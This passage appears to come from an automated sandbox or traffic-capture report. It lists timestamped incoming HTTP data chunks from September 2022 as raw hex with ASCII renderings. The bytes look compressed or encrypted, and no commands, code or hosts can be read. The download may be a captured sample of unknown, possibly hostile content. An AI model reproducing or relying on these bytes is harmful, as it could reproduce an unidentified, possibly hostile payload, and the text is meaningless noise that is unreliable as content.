cc 27 fa 34 77 65 04 2b d2 92 15 e5 da 0e 84 4a 28 c6 e7 31 b8 56 be 81 e1 a4 cc 23 c4 f9 5f 87 cf d4 39 44 51 d1 87 aa 
10 5a 79 cc 3a 2a 4a 84 72 3f dc cf 69 9b 0d 6c c4 5d 67 e0 91 fa 74 55 3e 1b 98 50 5f 88 13 4f 75 85 04 9a 10 ce d9 b5 
8a 46 17 bc 99 b2 00 a7 06 91 83 30 31 53 06 b4 f7 65 02 9d 35 3f 54 91 36 64 d8 b8 51 f6 34 ed 0d ef 94 a1 cc ac 59 c8 
24 85 7c ba 54 15 7c 8f 60 87 a4 a8 fa 5b 29 47 8f b8 
Data Ascii: [<=qKP/R{aCb%0Kbb\.-CV^53 ._Q&g?Asu&0''4we+J(1V#_9DQZy:*Jr?il]gtU>P_OuF01Se5?T6dQ4Y$|T|`[)G

2022-09-28 05:32:41 UTC 137 IN Data Raw: 69 42 43 82 70 3a c7 b1 63 53 42 54 70 af cb 6d 39 35 31 e3 d6 df 8c 1a f4 81 b1 e9 78 8a 97 89 85 81 e1 4f 
17 64 ab 7a 54 e5 55 22 31 b8 b1 c4 76 f4 4d 64 ac a3 81 05 97 d6 14 c6 36 56 02 41 df 81 af 31 bd ab cc f0 33 c6 0f 29 
2e 0e fd e3 d9 54 ea 64 99 9b f1 01 dc 6a e3 34 a7 1f 55 e2 61 60 b3 3d f5 f3 19 d8 0e bb 18 3e 8f 70 95 cf 97 56 6a 62 
0b 84 fa 86 1a 74 3f dd 5f a2 d1 53 96 88 6b 7b 6d 20 d6 f8 b1 fb 3c 63 5d 80 aa a9 87 99 72 9b dc 4e 48 1b 0d 4e 63 94 
9c 6c 9e c6 8b c2 ca c1 12 98 47 b8 a3 44 b3 f1 b1 91 15 d9 7a 69 26 60 cd 7c c7 03 98 a8 ec 18 38 08 94 f8 de d4 48 1a 
e5 b8 20 b1 ed c6 2a f2 72 3c b0 c9 0b 17 8a c1 1b 2d f7 81 08 e8 7f 49 67 ca cf 5c e0 df 8d 93 b4 13 18 d0 15 43 5e 29 
a5 98 d6 da 7b 69 2a e9 a4 f1 8b 4e 84 6b 03 da 7c 00 93 
Data Ascii: iBCp:cSBTpm951xOdzTU"1vMd6VA13).Tdj4Ua`=>pVjbt?_Sk{m <c]rNHNclGDzi&`|8H *r<-Ig\C^){i*Nk|

2022-09-28 05:32:41 UTC 138 IN Data Raw: 74 22 6e 0e 58 00 12 a9 52 1d 03 4d 5c ca 74 dd 02 b0 cb 3d 30 8e f2 f4 81 36 21 43 8c a3 90 c1 7b fa 60 12 
47 70 58 c9 75 49 77 79 52 f0 3b 04 77 af 45 c3 7d e1 5e 8b 04 2a 6c 1c 38 96 3b 93 06 74 16 66 08 7a a7 d0 2c 64 6c b0 
4d 41 8d 27 06 bc 6b 8c ac c1 61 f3 b7 07 1c 04 9e 5c 1d c4 8c d0 bf 92 a4 3e 9a 60 4a 5c b4 ea b7 03 04 43 81 bf 6f 07 
e9 fa 91 26 0e 4a 4e 85 e7 ef 01 57 2f 38 55 c9 4d 72 df a5 b8 9e 97 21 f3 5a 83 5d 8a d8 a5 82 e7 fc 51 4f 01 7b d1 e5 fe 
9f a2 f4 00 83 cf ba 6a c8 27 67 64 fe f1 90 ba f7 ce 43 a5 04 9a de 66 e1 28 e4 4e b6 49 de 7f c9 0e 26 b7 ee 5c b5 34 
ae fe 6e db 81 26 34 cd 3d 71 59 d1 68 6a 05 29 f3 06 62 eb b3 50 99 e1 7d de af 61 72 df 4f 0b 4d 03 9d 79 e8 ac b6 d5 
ac 8d 30 72 6c d2 e6 79 71 a8 28 36 62 23 28 e6 ec 2a 
Data Ascii: t"nXRM\t=06!C{`GpXuIwyR;wE}^*l8;tfz,dlMA'ka\>`J\Co&JNW/8UMr!Z]QO{j'gdCf(NI&\4n&4=qYhj)bP}arOMy0rly
q(6b#(*

2022-09-28 05:32:41 UTC 140 IN Data Raw: b1 6b 10 0c cd 7a 0c f4 85 7a f6 6a 2c 8c 84 5c 0e 00 01 82 52 22 78 61 07 46 fc 13 62 4f 51 49 5e 43 6d de 
c0 f6 ee 09 92 f3 2c 40 a3 c1 4a e4 2c 55 75 c2 00 92 06 9f c0 a3 66 03 38 ef 0f f5 f6 88 15 14 5a 18 f7 f6 be c4 8d e9 f1 ef
0f 5f 73 ba 0b a1 a6 8b 81 44 61 c6 01 c9 30 71 4f 8b ef 99 7b dd a2 85 9e 9e b3 36 26 14 34 73 07 48 b7 7c b5 93 d5 68 
c5 1a 90 ba df 01 ed 11 62 99 4c 21 c2 a5 c4 68 b1 15 31 f1 86 1e 20 34 97 ac 8f ba 94 6d 9d 48 ac 18 73 81 dc f8 cd b5 
87 5a a2 1a 5d 59 a8 9e 6d 29 9e 78 df a9 52 eb 53 de 6a 7c 4e ec b0 31 d4 ce 57 4c bd cb 49 b9 3c d3 9f e3 3e 15 83 
b7 dc 66 6c 88 b0 b9 e5 e3 45 b1 e6 a4 06 1b ed 3e 99 7d 21 6d 15 6c 7a 8f 23 74 d5 4b 55 ca 76 d1 8d ec 0c 75 62 6b 
d1 a6 4d 9e 99 5d 3a 03 fa 3a 05 ef 3f 66 c8 a7 d2 86 22 
Data Ascii: kzzj,\R"xaFbOQI^Cm,@J,Uuf8Z_sDa0qO{6&4sH|hbL!h1 4mHsZ]Ym)xRSj|N1WLI<>flE>}!mlz#tKUvubkM]::?f"

Timestamp
kBytes
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Direction Data
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2022-09-28 05:32:41 UTC 141 IN Data Raw: b4 85 a9 54 ba 70 eb db 95 5c f6 67 aa 3e de 10 23 26 e9 b0 a1 74 0e 75 c0 54 47 bf d2 de a4 97 cf 4d 5d cb 
9a fb e1 89 69 fc 29 51 f4 ba 09 8a 09 2a 2e 80 b4 6a 9e 70 50 1f 4e 9c ba 9e 32 51 4c 82 02 4b 63 64 b4 5b e0 18 ce d2 
e3 4d ea 98 be 5b 9e 70 c8 7f 40 f1 bb a9 91 1d 1f 56 2c 05 cb 2f 01 23 61 e8 7d d7 a2 53 79 3f fb 88 5e 51 c7 cd 69 90 
3c 31 9d f0 01 c2 e1 14 10 57 11 de 8a 22 04 e3 e7 29 66 a7 96 1b 22 34 43 78 ff 25 38 72 3d 19 be a0 0b 44 9a 5c 66 
da 9c 32 80 07 13 45 59 56 12 fc 1d 71 ea e3 a8 5b 42 53 c8 20 12 5e d7 d5 b3 bf b4 86 13 bd 50 53 71 1a 7c e7 5d 47 
35 ad 57 5a 5f e3 67 08 9d d3 50 1d 9c b4 85 26 d2 a9 6d fa ca c6 2b 62 ac 9d 25 39 bb 50 f5 96 3c e1 00 7e 6a af 1f e7 
1a 7a d5 15 b5 49 84 dc ab d0 37 2d e3 c8 4b 5b 92 05 a5 89 1f 
Data Ascii: Tp\g>#&tuTGM]i)Q*.jpPN2QLKcd[M[p@V,/#a}Sy?^Qi<1W")f"4Cx%8r=D\f2EYVq[BS ^PSq|]G5WZ_gP&m+b
%9P<~jzI7-K[

2022-09-28 05:32:41 UTC 142 IN Data Raw: b6 d2 7b 9d 80 4d 53 16 d5 24 50 cf 24 ed df 20 45 ba 60 a0 6a 7d 40 ef 54 7f 34 a5 6d 26 b7 80 62 b3 3f 44 
ad 8f df 08 33 61 59 87 1e 09 20 bc f8 c0 41 b9 76 25 56 d5 27 ca 6d a9 48 d7 ea b8 57 d4 5e ee 0d ac 79 e6 a6 b6 6a f1 
90 cb a9 81 80 ee 8e 12 52 c8 7b 64 9d ec ff 17 a4 32 d2 87 02 51 eb 8d 6c ee e4 c1 6b fe db cd cc 9f e5 1a 19 0e d5 48 
17 18 aa 8d 8e 03 94 b0 6b 43 f0 11 f7 c5 00 93 d6 07 61 4f 90 2f c8 fd 42 a1 05 d4 90 6b e1 df 9a 7f 2a 40 74 cf f0 ad 46 
9b 47 69 08 10 c1 4c 4f 38 1a 71 b3 d0 fc 18 2f 9b 15 d2 b4 69 90 73 b3 98 5e 4c e8 e5 01 84 40 36 fd ce 8a 94 e1 ad fe 
56 60 2c 62 16 7f fe 21 41 fd d4 a7 55 05 39 86 dd c3 c3 20 3b 25 69 ad 3b ab c9 22 c1 db 0f f1 75 ff ca aa c9 f1 6a 1f 61 
bf 38 8d 62 d8 32 7c b3 3d cd 05 61 f4 68 1f 2e 52 
Data Ascii: {MS$P$ E`j}@T4m&b?D3aY Av%V'mHW^yjR{d2QlkHkCaO/Bk*@tFGiLO8q/is^L@6V`,b!AU9 ;%i;"uja8b2|=
ah.R

2022-09-28 05:32:41 UTC 143 IN Data Raw: 33 17 5e e3 82 b3 4c 82 3e 17 8d b7 dc 06 af 5d 24 6a 7e e2 e1 16 a9 b8 da 1d bb d8 19 85 a2 64 f8 97 22 b4 
d9 f9 06 0b ac c2 35 26 d0 03 1f f1 69 53 b9 c2 4d 90 30 83 10 44 c7 df 87 db db 2d 44 e1 8d 0d 27 13 cf 37 c7 bc 9b 63 
ec 12 47 39 04 ed ec 43 7c 37 df a0 ec 6b 44 98 d2 d6 10 53 09 9d b4 3a ea 5f 6e a1 e1 5c 31 2c df 1f f1 51 af 4b b1 79 
c5 13 0f f9 1a f7 14 cf 1b f7 f1 f7 02 2e a1 c6 82 96 49 46 dd ce d9 56 d9 11 6e 72 64 40 e0 14 87 b7 20 56 40 f3 11 19 1e 
28 08 d9 f2 76 68 f2 17 4a 0f bd bf 07 6d 1e 80 60 d7 ec 84 ee 20 83 14 e5 f5 88 9a 32 3d dc 16 f3 f0 7d 9f 7b 12 d1 e9 6d 
40 41 1b d3 a5 81 d1 78 49 87 41 bf f0 af 5b 03 b4 49 6b 48 83 5e 3e aa 76 0e 4f 9c 82 a9 44 e0 a4 09 21 e5 5b f6 a2 eb 
fd bc 46 33 e2 e1 6e 98 a8 01 c1 4e 6f cd 4f 93 ac 
Data Ascii: 3^L>]$j~d"5&iSM0D-D'7cG9C|7kDS:_n\1,QKy.IFVnrd@ V@(vhJm` 2=}{m@AxIA[IkH^>vOD![F3nNoO

2022-09-28 05:32:41 UTC 145 IN Data Raw: ca c6 21 f6 c3 5a 77 60 a6 95 92 88 d8 24 74 3d 8b 67 c6 24 b6 eb c0 33 4c 4e d1 e5 85 a6 df 06 84 02 16 ec 
0d 84 11 d2 12 7c fb 2e 7b 3d fa 71 92 f3 61 47 25 0f 2f d0 ca 7a e0 c0 75 37 85 e8 63 0c f2 0c 91 e4 de 71 d3 04 24 12 
29 2a c3 28 ba fc d9 2f 15 bc e2 a7 a4 16 4b 27 24 36 cc ac 1f a6 f5 b1 c2 47 92 47 bf 88 d9 79 96 eb db 75 3b ee 9a 93 
f6 4f a1 80 55 f0 90 e4 98 88 ae b4 22 83 cd 9e df b7 4d e0 e6 9b 2f be 80 b1 b7 8f 4e d6 98 d7 16 60 67 33 38 6f ab b1 
bb 87 8e 83 87 92 03 75 43 d6 b5 2f aa f6 b7 7b 7c 27 18 84 a0 77 f2 b7 7b 11 2b 03 46 22 81 9b c4 0c 57 96 5f b7 5a fb 
c8 14 5a 1b cd e7 9a f0 55 16 65 4e 90 a2 ba bc 81 87 c4 a0 62 b0 42 76 2b 46 3a 71 af 8b fb 92 0d e5 f5 a0 bd 3b f0 24 
8c bd 3e 79 c0 da b1 d3 4e da 35 56 14 21 15 f7 84 cc cc 
Data Ascii: !Zw`$t=g$3LN|.{=qaG%/zu7cq$)*(/K'$6GGyu;OU"M/N`g38ouC/{|'w{+F"W_ZZUeNbBv+F:q;$>yN5V!

2022-09-28 05:32:41 UTC 145 IN Data Raw: ea d7 71 4f ff bc 53 6b de e2 38 e5 ca 2d 0a 45 78 84 39 e3 31 64 53 90 78 db b7 b5 0b c7 fc 13 e4 92 da bf 
88 5f 14 fe 15 2f 63 2a f2 87 66 cb 03 14 fe 7c 18 07 48 21 3b cc d4 71 bc 09 64 3e 9a d7 42 bb ee 63 4b 38 cb 25 30 09 
c4 23 fb 2e 18 fd a9 1a 3a e1 b6 66 33 8c cd 83 32 39 9d f4 32 79 97 d5 b7 14 60 52 eb 9b a5 cc 7a a6 fc 79 ed 45 10 97 
3b 7c 4b 4e 18 fb d1 04 1b 9d eb 64 ee 96 4e 5a 5e cc 29 94 17 bf ba 69 bf aa 53 18 14 05 de ec 1a ca 39 0f 55 38 37 25 
a9 e1 66 a5 b6 63 8d b8 0f 15 17 bf db d6 f3 ff 67 58 57 8e 1a 1c e6 00 ad 7c 7a d9 9c dc 75 21 62 15 cb 1b c7 a4 06 da 
fd 87 3a 0b 7b 42 40 b8 8c 89 73 38 58 e7 37 2c f8 74 15 9d 18 17 de 87 e1 af ba c0 ff 23 9b be f4 e5 e1 9f 50 40 dc 6b 
56 4c 15 1d 66 d0 97 ff 0d f9 05 1d bf a9 23 d2 d6 8f 98 
Data Ascii: qOSk8-Ex91dSx_/c*f|H!;qd>BcK8%0#.:f3292y`RzyE;|KNdNZ^)iS9U87%fcgXW|zu!b:{B@s8X7,t#P@kVLf#

2022-09-28 05:32:41 UTC 147 IN Data Raw: 6e 98 cc 22 5f d6 50 28 25 c6 04 39 ad ba 57 21 d6 21 f0 62 d3 9e 89 ee 9a 23 df 6b b9 b8 c4 19 19 9e 6b 40 
74 bd ff f3 ef 16 fa 89 7b 0a 10 fc f4 39 af ca b1 7f 43 82 18 ea 34 c7 2c a5 8c 93 46 d2 3f db 79 97 6b b7 5d f1 84 31 94 
96 11 54 dc a5 d0 fc 3c bc 80 09 5d 3a 2a a2 88 d7 51 c7 9b d4 88 26 3b f5 a8 2f 74 59 94 b4 37 82 5a ba 93 83 4b 04 17 
77 d7 e5 03 c9 65 ff 0d 0a 6f 8f b3 8f 78 48 17 8c 6d 00 67 6c de 9c 70 b0 85 30 04 53 64 2a b2 3c 9f fa 9b 88 01 d8 6d 
24 67 79 43 fc cd e2 d5 f0 3c 66 c4 fd 30 4c 16 0a 21 1b 6e 8a 8d 9d 4e 02 64 ea d7 a6 ff 2c 84 a0 48 22 a3 a8 b4 cc 42 
0b e3 93 e4 3a 57 bb 68 03 a8 38 84 89 21 40 04 b5 e7 6e 02 19 c1 2e e7 03 b6 36 8d 37 13 f4 df 4e 27 18 7e a8 f6 ff c5 
8f 3f f8 bc 88 7d 13 37 00 4f 2f c4 82 08 be 3c 8f ae 
Data Ascii: n"_P(%9W!!b#kk@t{9C4,F?yk]1T<]:*Q&;/tY7ZKweoxHmglp0Sd*<m$gyC<f0L!nNd,H"B:Wh8!@n.67N'~?}7O/<

2022-09-28 05:32:41 UTC 148 IN Data Raw: 80 be 48 5b 78 3b 7a 36 2d e3 89 68 ce 80 9c 60 87 bc 26 74 18 2f 20 f3 9a c8 ca 10 af 8e 74 01 74 ff d9 09 3c 
10 0b 34 be de 04 c3 c5 ef 3d c4 bc 7f 94 cf 5c 01 22 f1 40 61 c9 21 3b 52 f7 b3 2a 4d 41 a3 7a e9 e8 87 b1 69 a3 ff 22 12 
d9 38 51 c0 9b d3 41 cf a1 2d fa 97 e7 da e2 f0 71 c8 49 67 b6 8a 95 3a 24 85 f3 a4 c0 09 b3 f8 a6 a0 01 9a ef 5c c3 26 
e8 14 bf 5d 7d 81 14 ab 75 8e d9 00 c5 df fe 47 ec 32 47 3e f2 95 b4 16 f2 fc 86 4c bf 9c a8 84 d2 10 12 08 fc a8 f5 6e d5 
72 dc ff 68 ef f4 35 0d c1 02 01 f5 f0 f9 7d bf 0f 54 e5 81 68 7e 04 c9 0d 03 37 35 03 8c 53 21 5d b8 6d 31 13 cc d6 de a7 
7b 05 20 42 67 0a 3e bb 3e 03 0a 4f 3c 75 43 a5 95 4b f6 60 e9 96 e2 71 a2 69 a2 cd ce 53 5a ec 83 58 bc bf 1a 1a 46 12 
e4 95 70 0f 79 d7 8a fc a6 86 7c 38 ab c5 82 
Data Ascii: H[x;z6-h`&t/ tt<4=\"@a!;R*MAzi"8QA-qIg:$\&]}uG2G>Lnrh5}Th~75S!]m1{ Bg>>O<uCK`qiSZXFpy|8

2022-09-28 05:32:41 UTC 149 IN Data Raw: 98 6c 0b ee 75 72 03 c5 a8 ac b6 a7 b5 d7 3a 5a 77 93 fd 57 eb 55 c3 a4 0b 2c c8 e4 8b 01 6f 17 70 84 74 27 
c0 80 24 6a 01 86 ff be 60 11 24 fb 28 13 81 bb 6b de 26 b9 16 96 59 56 c6 12 27 b1 24 5b 28 d6 a8 49 e1 09 24 77 94 
01 ad 1a f3 74 ba b2 a1 b2 7c a0 26 03 f8 60 a3 fb 6d 77 d8 d8 89 98 3e 0a 44 c9 8a 95 c6 55 5d 90 fd e4 eb a2 5a 7a 03 
89 fb 41 40 4f d0 2e 3d 02 ef 72 cd 1c 6b 5d 53 43 4d fe 85 91 41 9f 28 76 ef 72 88 03 28 04 54 c7 bd 76 74 63 9f dd 73 
ee cc dc 3b 11 57 4f 2b b8 07 59 c9 60 94 c6 84 99 1c f1 e6 f3 dd 96 a0 fa 7b 33 cd 16 8e 20 7b 9c 03 ad 93 0c a0 8a 96 
ac dd 75 1a 4b 89 93 0f 43 32 81 a5 ac 16 12 bf b5 c2 fd 66 e2 d9 25 70 4e 64 70 0c a2 32 f5 b4 f9 1f b5 1b 58 ee cf 9d 
4a b1 48 59 35 b5 d4 ad a1 5e c3 54 d1 02 1e 32 46 40 ed f7 
Data Ascii: lur:ZwWU,opt'$j`$(k&YV'$[(I$wt|&`mw>DU]ZzA@O.=rk]SCMA(vr(Tvtcs;WO+Y`{3 {uKC2f%pNdp2XJHY5
^T2F@

2022-09-28 05:32:41 UTC 151 IN Data Raw: 19 6c 2c d9 35 d7 5d 7c 05 ba 71 b8 52 df 02 a8 e8 a4 3e 27 5d 39 9c 45 ea 47 21 ad a6 dd 01 32 39 41 92 40 
f0 b5 f5 8d 2e 2b 53 8e 53 c8 b1 60 9c 21 32 cd a1 42 af 8a f3 9d b5 21 0e ab df 00 c1 e3 8d 42 f0 20 dd 03 fb 37 f1 fd 6a 
8b 0c 09 a6 f3 6d d6 1d 35 89 18 b4 ba 2a f9 60 1b 18 cf 35 b5 fe fb 83 46 ad ff f0 dd c3 93 67 bb 06 6b 18 ec f3 05 74 50 
2f 67 a6 34 a7 ac e6 f7 50 08 f5 65 33 a4 a0 30 ad 07 2a 96 a5 19 da 4b bd ad 9f 7c c2 ab c3 d4 4b c1 df b9 f9 5c 0f db b2 
32 36 18 4c 7b 21 a0 63 f1 95 d4 2f ae f0 35 3d bf d1 f2 9d 84 05 59 80 b6 73 3f 20 f2 64 58 af 66 e7 e9 02 1e 0a 74 79 04 
75 49 ee 04 0b 15 c0 cd aa 87 45 59 45 42 17 8c 6a d2 84 a8 7a 2a 71 d3 b2 b2 88 32 6c e4 b4 38 0d cf 59 e4 38 21 7b 
20 d5 28 f2 3a de a2 c4 b7 33 ca 41 c3 23 3b 8d 
Data Ascii: l,5]|qR>']9EG!29A@.+SS`!2B!B 7jm5*`5FgktP/g4Pe30*K|K\26L{!c/5=Ys? dXftyuIEYEBjz*q2l8Y8!{ (:3A#;
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2022-09-28 05:32:41 UTC 152 IN Data Raw: 93 38 e5 5d fc ff ff 95 53 66 33 db df 8f 52 bc f5 a1 ed 38 47 92 cd 29 66 9c ab d7 b6 64 b5 69 f7 25 dd 62 52 
ea 8a 74 9e d8 d8 c7 27 58 ce 0f 12 f9 6b 1c 55 8b e2 b7 32 ce 8c a9 d1 df b0 b4 ac ab 25 bc d2 04 b1 03 2a 1d fc 36 5c 
ad a8 71 6c 97 6e fe 03 f3 6f 3e d9 85 f5 11 30 49 43 c7 f2 40 de 8c 9d 91 4a 6d 29 c3 7b d6 88 3b e4 b8 26 7f c8 bd e2 
a3 58 b4 c4 3f f4 8e d1 79 5e 0a 28 77 a9 d5 72 6c cf 34 d7 8d a2 69 d0 47 f8 51 f1 7d 75 6b b8 bf c6 96 b8 d9 6c 29 02 
23 2b 50 48 bc 6d 35 45 0a dd 64 3d b2 00 60 a5 a2 ed e9 cb 2f ac 49 70 0e e4 14 d0 ca 27 ff d4 70 46 af 79 99 68 f5 0f 
c7 2f 7e 4a 9a b7 46 5e 0a 71 ca bf 3c 69 b1 7c 51 9b df 7f 73 c5 28 41 57 30 70 c1 70 12 12 53 b4 16 4a 56 02 f2 b8 e2 
13 37 b6 9c 9b 76 4a 7b f8 61 19 80 f5 73 7f 15 4a 5c 
Data Ascii: 8]Sf3R8G)fdi%bRt'XkU2%*6\qlno>0IC@Jm){;&X?y^(wrl4iGQ}ukl)#+PHm5Ed=`/Ip'pFyh/~JF^q<i|Qs(A
W0ppSJV7vJ{asJ\

2022-09-28 05:32:41 UTC 153 IN Data Raw: 6d 4a c6 00 e1 ec 3b cc fa fa 6e e2 5f 5f 5b 6f a3 62 d2 3a 73 15 d4 c6 a1 8d d6 29 c9 d5 7f e0 7b d2 c2 6c 62 
c8 26 70 2c 0e fa ae a9 f6 ef 3f 8a 8a f6 34 e5 46 99 56 c8 ff 18 f5 07 d4 72 73 78 3f a7 1b 84 d3 19 53 cd e7 a8 a7 3f 83 
96 c4 e5 01 7f 13 2e c6 6d c7 45 ee 40 bc 61 60 58 45 5f 66 d2 ca 87 2e 90 fb 0b 81 47 57 ee bb d2 b5 3b a6 ac a9 bd 09 
29 ab 72 41 c3 e6 9b 00 fa f0 bc 14 91 23 32 91 85 9e f7 b4 43 17 96 ef 86 09 c2 3c 53 1c 82 21 dc db e1 23 cb 03 05 86 
bc 48 40 f3 b8 2b ee d7 66 ce 08 24 01 25 e8 83 c7 e0 2c 47 99 6a 53 20 59 38 5c 51 25 ad 2b c9 5a c4 9c c0 f3 dc d2 6d 
66 ea 8d df 1b cd 43 23 a6 0d 3e 39 90 79 76 8a 52 3a 08 92 d6 18 98 14 13 57 7b 70 66 df 7a bb ce d4 30 f6 72 76 73 cb 
3d df eb c9 b7 48 c9 a6 53 a9 f3 32 c8 8e 35 b3 99 
Data Ascii: mJ;n__[ob:s){lb&p,?4FVrsx?S?.mE@a`XE_f.GW;)rA#2C<S!#H@+f$%,GjS Y8\Q%+ZmfC#>9yvR:W{pfz0rv
s=HS25

2022-09-28 05:32:41 UTC 154 IN Data Raw: a5 d5 56 3b 9d 9a bf b5 68 65 8a 70 2e 10 89 09 cc 4c 28 0b 7f b2 04 36 43 ff bc 3a cd 39 5f 48 27 40 93 4d 
64 20 d0 1b 9a 8a b9 a4 66 fe 5d be d2 b6 1f 79 be 39 f5 ab d5 82 71 6e a3 46 68 56 be 29 ac 56 1d 9e 55 34 f0 e1 b2 7c 
21 d3 25 c0 1f b5 43 d8 4c 67 9c 18 23 aa 5c da c4 ac 82 08 5a d7 11 6c 93 a9 77 bb 51 10 03 0b db f8 35 56 43 e1 22 
a9 ee c8 af e2 5e c4 a5 06 17 e8 52 39 64 27 62 05 2e c6 e6 fd f1 79 bd e4 58 10 18 01 f6 d5 1a 7c 45 37 93 62 29 87 c9 
7a ce af 5d c3 e8 9d f6 d4 0f ef 29 a1 75 33 6d f1 f0 f0 12 6e 7e 76 4d de 57 71 17 78 52 c1 46 25 4e 5f b0 95 c4 80 82 b0 
0c 4e 08 82 db f6 cc fc d4 e0 82 c7 13 a7 cd 2f a0 9e bb db 38 51 cd 27 f0 62 7e 59 9b 02 9a f2 67 b7 fe 52 91 de 82 b1 
28 37 56 ea 4d 28 bd ec 98 ac 25 10 8f 8f 77 0b 98 2f 42 
Data Ascii: V;hep.L(6C:9_H'@Md f]y9qnFhV)VU4|!%CLg#\ZlwQ5VC"^R9d'b.yX|E7b)z])u3mn~vMWqxRF%N_N/8Q'b~Y
gR(7VM(%w/B

2022-09-28 05:32:41 UTC 156 IN Data Raw: d4 e9 90 67 1e b3 5f 07 fb 04 1d 1d 11 44 9a 99 14 85 7f f4 aa e3 94 7e 94 5b d7 a1 ed 8d 56 69 be 03 54 61 
44 fa 1c 2c 1d 71 17 c6 33 13 58 35 27 6d 3c 4f 52 b5 98 39 6b 92 14 af 53 e2 c3 0f c9 aa bc f7 8c d5 18 3d 7c 7f 7e 03 
e7 3d 46 92 a5 3a b5 51 da 92 e2 1c f4 e6 27 d7 d9 e8 0a c7 f9 ae 24 d0 1b 51 9a ef ab 00 29 d9 9d 34 03 d0 52 af c4 c0 
5b 2a e0 c6 6b fb da b8 ac 3e 4d 7e 8c 74 c7 a3 db bc c2 f0 62 e5 0c a5 24 50 eb f7 00 78 31 e3 9c 38 90 a2 eb 79 10 90 
a8 ef 76 e8 ab 58 36 bf 03 58 18 3a b1 cd 55 11 de 66 b7 a0 38 cf ea 27 ab 1a 4c 12 a4 e0 e2 1b 51 aa b2 69 5a 34 f6 4a 
4a 37 93 3a 71 5a 7e fe e0 fb 98 63 30 ab 37 18 32 2d f2 f7 45 02 cb 72 a9 d8 27 27 be 5a 24 08 27 3d 2f 8a 95 e5 af 7c 
ef 16 bc 8c 44 47 2a fe d6 37 bc c7 a0 ec 9f 35 55 58 73 
Data Ascii: g_D~[ViTaD,q3X5'm<OR9kS=|~=F:Q'$Q)4R[*k>M~tb$Px18yvX6X:Uf8'LQiZ4JJ7:qZ~c072-Er''Z$'=/|DG*75UXs

2022-09-28 05:32:41 UTC 157 IN Data Raw: 7a 9a 0d 06 db e6 3e 73 0f 26 11 d9 60 30 e7 67 27 b3 c7 8c 8b 4c fa 1e 85 25 43 eb 33 b3 11 e9 a4 8d fd 72 
3b db c4 d3 ab 58 b6 36 7f 75 50 0c 33 62 16 77 1f 37 57 0d e7 5e f3 b7 cd b3 2f 59 62 ce ad 52 0d 20 eb 6c d4 78 0d 7a 
7d 2e b2 c3 65 9b df 5a c8 87 28 dd 8f 14 d7 b6 a3 34 9f 88 e5 16 c3 89 a5 2a 2c 13 21 fb 10 c0 6e 63 b9 c8 e6 9d 93 30 
24 28 bf 5d 50 17 ee 98 67 ee e4 ad 8a dc 38 51 77 68 ba ee 46 f2 60 dd 03 6d cc b4 b8 0b d9 4d 6c e0 93 41 52 dc f4 bf 
69 73 2b ec 77 75 e8 4f fd 22 86 8a ad 0d 6e 13 58 ef 73 23 21 95 ea 06 ce 8b 9f 40 b3 37 1d 3e 17 e1 59 26 e7 62 c4 5b 
e0 71 ba fb 5c 24 47 29 80 46 8b 47 56 cc 0d ba ba 04 a0 dd 8e 95 24 15 d7 26 2a fd 09 b2 be 24 20 ea 9a ff 65 c3 6f a7 
06 8e 8b 5f fa 50 a0 e5 38 9b 22 2b 51 24 5b 91 e7 c0 87 
Data Ascii: z>s&`0g'L%C3r;X6uP3bw7W^/YbR lxz}.eZ(4*,!nc0$(]Pg8QwhF`mMlARis+wuO"nXs#!@7>Y&b[q\$G)FGV$&*$ 
eo_P8"+Q$[

2022-09-28 05:32:41 UTC 158 IN Data Raw: 88 8d 05 29 09 e3 a7 f1 47 16 70 c1 74 65 5d c9 c5 3e ea 08 23 0e a9 0d 47 50 1e ae 58 b5 b6 dd ee 2c 5f 16 
a5 5f 50 dd c3 7d eb 2c 10 c1 b5 d4 2b dc 8b 48 55 8f 2a 3e 26 be c9 98 14 5c 4c fd d9 61 08 9a 06 0f c9 48 e3 07 18 ec 
cb 95 9a c0 68 c9 f2 63 ad 04 89 83 08 2c f3 98 ba 9b 0c e8 ce e4 60 b3 10 19 ba 09 41 8d ad a7 45 66 99 be af b0 f9 62 
57 c7 8d c9 e8 bc 69 46 09 07 c9 21 5b 36 80 86 d6 70 82 66 30 d5 3f 27 4a 41 af 95 4d 46 51 7e a8 47 0a 93 5b 96 7b 
d7 b0 da b1 e7 13 45 56 a2 b9 72 98 cf 8a 02 5c 6e 1a 6e 2d 41 41 a3 93 fb 7c 9c b9 6d fb 7c a7 b5 7e 23 f9 8d e2 7d f2 
8a 9d 44 ac 92 e5 33 ee f9 1e f3 bc ce 61 0e dc 04 c8 9e 39 e1 67 3b 58 8a 28 b6 94 44 ef 27 62 74 98 f9 e1 a0 df b8 f7 
c1 99 2c 41 a7 14 14 10 4d f9 d1 15 31 63 7b 9a 33 ab a7 76 
Data Ascii: )Gpte]>#GPX,__P},+HU*>&\LaHhc,`AEfbWiF![6pf0?'JAMFQ~G[{EVr\nn-AA|m|~#}D3a9g;X(D'bt,AM1c{3v

2022-09-28 05:32:41 UTC 159 IN Data Raw: 3d 59 57 05 a6 fa 99 98 b6 a9 5e 0f 1c 7d bd f2 cd 07 13 72 d9 16 c0 90 81 d3 ee a6 fb d2 db 13 b2 d2 9d 62 
2c c5 b3 fa 41 a2 df 9d 28 ee 37 22 15 2f ab 6d cc cc c7 cb db 5e 21 3d 99 11 d2 a7 23 b3 8b 41 5b 31 a2 85 79 3f b7 c1 
1e 70 0c 9e ee 64 15 ab f0 c8 b1 cb e5 2a d6 8c a1 f8 32 c6 c0 31 8b 91 a5 15 22 70 55 a2 c5 e1 20 01 f3 57 00 9a b2 26 
1a 8e 48 d4 ad 17 74 11 f4 ea 8e c2 63 0c 27 45 69 b3 98 bc d7 76 82 3a e0 f4 13 e1 28 9a fe c9 f8 2d ec a2 dc 7c 22 ed 
15 28 7d e3 13 bc 41 1e a5 fe 54 72 76 49 b8 07 90 d6 50 14 06 f3 d5 42 b6 01 15 98 a8 48 0c 08 9d 2f dd ef 8f 94 ce b1 
7c 25 ae 21 01 e5 7b d7 7e 9a 54 bf c0 68 63 e6 85 ad d4 3d 2f 41 51 f4 6e 46 18 29 51 1d d6 ff d6 f1 d4 93 08 5e 31 b0 
e4 23 c8 90 66 15 74 ad 9b 90 6e b2 f0 2d 0e 24 a5 a0 dd 
Data Ascii: =YW^}rb,A(7"/m^!=#A[1y?pd*21"pU W&Htc'Eiv:(-|"(}ATrvIPBH/|%!{~Thc=/AQnF)Q^1#ftn-$

